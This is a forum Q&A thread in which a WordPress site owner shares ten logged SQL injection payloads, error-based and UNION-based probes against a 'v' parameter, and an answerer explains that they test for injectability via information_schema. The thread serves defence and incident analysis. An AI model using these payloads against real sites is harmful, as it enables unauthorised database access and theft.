2

In sum, they tried 10 different commands. The site is ran on Wordpress, but has a security plugin that, "blocked a page visit to your site." I'm curious as to what they were trying to go after though. Also not sure why most have the "7e7b2eab8e" in it.

The commands were from 185.222.209.222 which seems to have quite a lot of reports on it, but also seems to be a VPN.

Said commands were:

The offending parameter was "v" with a value of "7e7b2eab8e AND (SELECT 7904 FROM(SELECT COUNT(*),CONCAT(0x716b787a71,(SELECT (ELT(7904=7904,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)"

.

The offending parameter was "v" with a value of "7e7b2eab8e') AND (SELECT 7904 FROM(SELECT COUNT(*),CONCAT(0x716b787a71,(SELECT (ELT(7904=7904,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('bNUG'='bNUG".

.

The offending parameter was "v" with a value of "7e7b2eab8e) AND (SELECT 7904 FROM(SELECT COUNT(*),CONCAT(0x716b787a71,(SELECT (ELT(7904=7904,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND (2851=2851".

.

The offending parameter was "v" with a value of "7e7b2eab8e' AND (SELECT 7904 FROM(SELECT COUNT(*),CONCAT(0x716b787a71,(SELECT (ELT(7904=7904,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'dyyf'='dyyf"

.

The offending parameter was "v" with a value of "7e7b2eab8e AND (SELECT 7904 FROM(SELECT COUNT(*),CONCAT(0x716b787a71,(SELECT (ELT(7904=7904,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)-- BfVf".

.

The offending parameter was "v" with a value of "7e7b2eab8e%' AND (SELECT 7904 FROM(SELECT COUNT(*),CONCAT(0x716b787a71,(SELECT (ELT(7904=7904,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND '%'='".

.

The offending parameter was "v" with a value of "(SELECT 2340 FROM(SELECT COUNT(*),CONCAT(0x716b787a71,(SELECT (ELT(2340=2340,1))),0x71766a7871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)".

.

The offending parameter was "v" with a value of "(SELECT CONCAT(0x716b787a71,(SELECT (ELT(7364=7364,1))),0x71766a7871))".

.

The offending parameter was "v" with a value of "7e7b2eab8e) UNION ALL SELECT NULL-- AxsE".

.

The offending parameter was "v" with a value of "7e7b2eab8e) UNION ALL SELECT NULL,NULL-- ggeG".

4

It would appear that they were primarily testing to see if you were vulnerable. The reason I say this is that the bottom three inputs don't actually reach out to any tables, and are purely testing whether they can get an input back from the server via an injection attack.

My guess is that they were targeting the information_schema schema in the top inputs since it's standard on all MySQL instances, and they know it will be there (as opposed to trying to guess what schema/table names you use for your non-system tables). Once they confirm they can get information back from information_schema.character_sets, they can start looking at what tables/schemas you have on the database, and select/update/delete from those.

If you're confident that all the inputs on your site were properly sanitized before the attempted attack, I wouldn't worry that much (keep in mind that an attacker may patch up any holes once they've got persistent access). If you're not confident in this (or don't know what input sanitation is), then how much do you trust the security plugin to catch every possible instance of SQL injection? Your answer to this question will indicate whether you should consider the system compromised.

  • Honestly, @Cowthulu, I haven't really touched the WordPress SQL database with exception to cleaning it up after a bad staging move-over. I use SiteGround's shared hosting, and I know they typically update things fairly quickly (within a week or so). I'm unsure if the plugin blocked it due to it knowing what was happening or due to it having so many reports against it. Would I trust it completely? No. Is there a way to check the SQL database to see if something was changed recently? – Tutsumi May 23 at 19:31
  • @Tutsumi Honestly it's sort of impossible to tell since there are so many configuration/software specific things they could change. How certain are you that no input fields were vulnerable to injection before the attack? – Cowthulhu May 23 at 20:07

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.